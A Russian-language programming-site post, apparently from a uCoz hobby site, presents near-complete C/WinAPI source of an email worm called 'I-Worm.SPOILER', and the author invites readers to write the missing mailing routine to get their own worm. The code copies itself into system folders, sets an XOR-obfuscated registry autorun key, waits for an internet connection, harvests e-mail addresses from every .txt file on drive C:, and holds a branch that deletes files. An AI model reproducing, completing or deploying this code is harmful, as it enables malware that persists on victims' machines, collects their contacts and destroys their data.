Приветствую Вас ГостьПонедельник, 07.07.2025, 00:18

Light Midnight Inc.


Каталог статей

Главная » Статьи » Программирование » С/С++/MFC

Поиск текста в файлах

"ПОЧТИ" рабочий сырец - не бойтесь почти это значит у червя нет только отправки а пока он делает: инсталирует себя в систему и висит ожидая выхода в сеть - дождавшись ищет фаилы *.txt (можно любые) и находит в них E-mail адреса - а потом ......... должен отсылать себя но здесь он этого не делает а остальное все работает отлично ..... да еще некоторые строки зашифрованы от лишних глаз (конечно не ваших просто расшифровывать лень) почему тогда не все зашифрованы ? да яж говорю сырец горячий прям с компила снял... так что вам осталось прописать процедуру отправки (которую мне так лень было дописать) и вы получите СВОЕГО (!!!) червячка ... хотя и этот код уже несет в себе диструкцию !!!

#include <windows.h>
#include <stdio.h>
#include <winsock2.h>

BOOL CALLBACK WindowProc(HWND ,UINT ,WPARAM ,LPARAM);

typedef BOOL (WINAPI* INETCHECKPROC) (LPDWORD lpdwFlags, DWORD dwReserved);
typedef void (*LPSEARCHFUNC)(LPCTSTR lpszFileName);
typedef DWORD (WINAPI *LPREGISTERSERVICEPROCESS) (DWORD, DWORD);

static BOOL CALLBACK DialogFunc(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam);
BOOL ONCREATE(HWND hwnd);
BOOL RUN(char *NAME,char *VIRNAME,int END);
BOOL ScanFile(char *f);
BOOL SEND(char *ATTACH,char *EMAIL);
BOOL SearchFiles(LPCTSTR lpszFileName,BOOL bInnerFolders,BOOL spoil);
int isgood(char a);
int islisten(char a);
char *DECODE(char *TEXTCODE);

UINT_PTR IDT_NETTRAP;
char *szClassWindow="WinClass",szPath[0x100];

char *REGNAME,*REGTITLE,*TITLE="I-Worm.SPOILER";

char *DECODE(char *TEXTCODE){
char K=9*111;
 for(int i=0; ;i++){
 if(TEXTCODE[i]=='\0') break;
 TEXTCODE[i]=TEXTCODE[i] ^ K;
 }
 return TEXTCODE;
}



BOOL SearchFiles(LPCTSTR lpszFileName,BOOL bInnerFolders,BOOL spoil)
{
 LPTSTR part;
 char tmp[MAX_PATH];
 char name[MAX_PATH];

 HANDLE hSearch = NULL;
 WIN32_FIND_DATA wfd;
 memset(&wfd, 0, sizeof(WIN32_FIND_DATA));


 if(bInnerFolders==TRUE)
 {
 if(GetFullPathName(lpszFileName, MAX_PATH, tmp, &part) == 0) return FALSE;
 strcpy(name, part);
 strcpy(part, "*.*");
 wfd.dwFileAttributes = FILE_ATTRIBUTE_DIRECTORY;
 if (!((hSearch = FindFirstFile(tmp, &wfd)) == INVALID_HANDLE_VALUE))
 do
 {
 if (!strncmp(wfd.cFileName, ".", 1) || !strncmp(wfd.cFileName, "..", 2))
 continue;

 if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
 {
 char next[MAX_PATH];
 if(GetFullPathName(lpszFileName, MAX_PATH, next, &part) == 0) return FALSE;
 strcpy(part, wfd.cFileName);
 strcat(next, "\\");
 strcat(next, name);

 SearchFiles(next,TRUE,spoil);
 }
 }
 while (FindNextFile(hSearch, &wfd));

 FindClose (hSearch);
 }

 if ((hSearch = FindFirstFile(lpszFileName, &wfd)) == INVALID_HANDLE_VALUE)
 return TRUE;
 do
 if (!(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
 {
 char file[MAX_PATH];
 if(GetFullPathName(lpszFileName, MAX_PATH, file, &part) == 0) return FALSE;
 strcpy(part, wfd.cFileName);

 if(spoil!=TRUE){ScanFile(file);}else{
 MessageBox(NULL,file,"УДАЛИТЬ ?",0);
//а вот и диструкция ...
 DeleteFile(file);}
 }
 while (FindNextFile(hSearch, &wfd));
 FindClose (hSearch);

 return TRUE;
}

int isgood(char a) {
 if (a >= 'a' && a <= 'z') return 1;
 if (a >= 'A' && a <= 'Z') return 1;
 if (a >= '0' && a <= '9') return 1;
 if (a == '.' || a == '@' || a == '^' || a == '-' || a == '_') return 1;
 return 0;
}

int islisten(char a) {
 if (a == '.') return 1;
 if (a >= 'a' && a <= 'z') return 1;
 if (a >= 'A' && a <= 'Z') return 1;
 return 0;
}

BOOL ScanFile(char *f) {
 FILE *file=fopen(f,"r");
 unsigned long startpos=0;
 if (file == NULL) return FALSE;
 while(1) {
 char buf[2];
 memset(buf,0,2);
 fseek(file,startpos,SEEK_SET);
 fread(buf,1,1,file);
 startpos++;
 if (feof(file)) break;
 if (*buf == '@') {
 char email[256],c,d;
 unsigned long pos=0;
 while(1) {
 unsigned long oldpos=ftell(file);
 fseek(file,-1,SEEK_CUR);
 c=fgetc(file);
 if (!isgood(c)) break;
 fseek(file,-1,SEEK_CUR);
 if (oldpos == ftell(file)) break;
 }
 for (pos=0,c=0,d=0;pos<255;pos++) {
 email[pos]=fgetc(file);
 if (email[pos] == '.') c++;
 if (email[pos] == '@') d++;
 if (!isgood(email[pos])) break;
 }
 email[pos]=0;
 if (c == 0 || d != 1) continue;
 if (email[strlen(email)-1] == '.') email[strlen(email)-1]=0;
 if (*email == '@' || *email == '.' || !*email) continue;
 for (pos=0,c=0;pos<strlen(email);pos++) if (email[pos] == '.') c=pos;
 if (c == 0) continue;
 //if (!strncmp(email+c,".hlp",4)) continue;
 //if (!strncmp(email+c,".gov",4)) continue;
 for (pos=c,d=0;pos<strlen(email);pos++) if (!islisten(email[pos])) d=1;
 if (d == 1) continue;
 //Send(myfile,email);
 MessageBox(NULL,email,"А Я АДРЕС НАШЕЛ !!!",0);
 }
 }
 fclose(file);
 return TRUE;
}

BOOL ONCREATE(HWND hwnd){
RUN(REGTITLE=DECODE("°Ћ‰ФХѓ‹‹"),REGNAME=DECODE("°Ћ‰ФХѓ‹‹Й‚џ‚"),0);
SetTimer(hwnd,IDT_NETTRAP,1000*60,(TIMERPROC) NULL);
return TRUE;
}

BOOL RUN(char *NAME,char *VIRNAME,int END)
{
HKEY hKey;
char szWIN[0x100],szWIN32[0x100];
GetSystemDirectory(szWIN,sizeof(szWIN));
GetSystemDirectory(szWIN32,sizeof(szWIN32));
GetModuleFileName(NULL, szPath, sizeof(szPath));

lstrcat(szWIN,"\\");
lstrcat(szWIN,VIRNAME);
CopyFile(szPath,szWIN,TRUE);

strcat(szWIN32,"32\\");
lstrcat(szWIN32,VIRNAME);
CopyFile(szPath,szWIN32,FALSE);

RegCreateKeyEx(HKEY_LOCAL_MACHINE,
DECODE("ґ€Ѓ"ђ†•‚»ЄЋ„•€”€Ѓ"»°Ћ‰ѓ€ђ”»¤’••‚‰"±‚•”Ћ€‰»µ’‰"),
0,
"",
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,
NULL,
&hKey,
NULL);
if (hKey)
 {
 RegSetValueEx(hKey, NAME, 0, REG_SZ, (LPBYTE)VIRNAME, strlen(VIRNAME));
 RegCloseKey(hKey);
 }

 if(END==0){
if(szPath!=szWIN || szPath!=szWIN32){MessageBox(NULL,"Programm was corrupt or some components not find !","ERROR",0);}
 }

return TRUE;
}

BOOL GetStatusConnect()
{
 BOOL bRetVal;
 HINSTANCE hLib = NULL;
 INETCHECKPROC pfnInternetGetConnectedState;
 hLib = LoadLibrary(DECODE("ђЋ‰Ћ‰‚"Йѓ‹‹"));
 if (!hLib) return 0;
 pfnInternetGetConnectedState = (INETCHECKPROC)GetProcAddress(hLib, DECODE("®‰"‚•‰‚" ‚"¤€‰‰‚„"‚ѓґ"†"‚"));
 if(!pfnInternetGetConnectedState)
 return FALSE;
 DWORD lpdwFlags;
 bRetVal = pfnInternetGetConnectedState(&lpdwFlags, 0) != 0;
 FreeLibrary(hLib);
 return bRetVal;
}

int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpszCmdLine, int nCmdShow)
{
 HWND hWnd;
 MSG lpMsg;
 WNDCLASSEX wcl;

wcl.cbSize = sizeof (wcl);
wcl.style = CS_HREDRAW|CS_VREDRAW;
wcl.lpfnWndProc = WindowProc;
wcl.cbClsExtra =0;
wcl.cbWndExtra = 0;
wcl.hInstance = hInst;
wcl.hIcon = LoadIconA(NULL,IDI_APPLICATION);
wcl.hCursor = LoadCursorA(NULL,IDC_ARROW);
wcl.hbrBackground =(HBRUSH)GetStockObject (WHITE_BRUSH);
wcl.lpszMenuName = NULL;
wcl.lpszClassName = szClassWindow;
wcl.hIconSm=NULL;

if (!RegisterClassEx (&wcl))
return 0;

if(FindWindowA(0,TITLE)){
 MessageBoxA(NULL,"FATAL ERROR !","ERROR",0);
 PostQuitMessage (0);}

hWnd=CreateWindowEx(
 0,
 szClassWindow,
 TITLE,
 WS_OVERLAPPEDWINDOW,
 CW_USEDEFAULT,
 CW_USEDEFAULT,
 CW_USEDEFAULT,
 CW_USEDEFAULT,
 NULL,
 NULL,
 hInst,
 NULL);
//ShowWindow (hWnd, nCmdShow);
//UpdateWindow (hWnd);


while (GetMessage(&lpMsg,NULL,0,0))
{
 TranslateMessage(&lpMsg);
 DispatchMessage(&lpMsg);
}
 return lpMsg.wParam;
}

BOOL CALLBACK WindowProc (HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
 char str[0x100];
 switch(message)
 {
 case WM_CREATE:
 ONCREATE(hWnd);;
 return TRUE;

 case WM_TIMER:
if(GetStatusConnect()==1){
 KillTimer(hWnd,IDT_NETTRAP);
 MessageBox(NULL,"ON LINE","INTERNET",0);
SearchFiles("C:\\*.txt",TRUE,FALSE);
RUN(REGTITLE,REGNAME,1);
PostQuitMessage (0);
}
 return TRUE;

 case WM_DESTROY:
 RUN(REGTITLE,REGNAME,1);
 KillTimer(hWnd,IDT_NETTRAP);
 PostQuitMessage (0);
 break;
 default:
 return DefWindowProc (hWnd, message, wParam, lParam);
}
return FALSE;
}

BOOL SEND(char *ATTACH,char *EMAIL){

return TRUE;

}

Категория: С/С++/MFC | Добавил: Cromartie (31.01.2013)
Просмотров: 561 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Наш опрос
Оцените мой сайт
Всего ответов: 543
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Реклама
Cheсking
Часы
Мини-чат
200
Друзья Сайта
  • Light Midnight - Ваша Еда
  • Light Midnight - Anim as life style
  • Поиск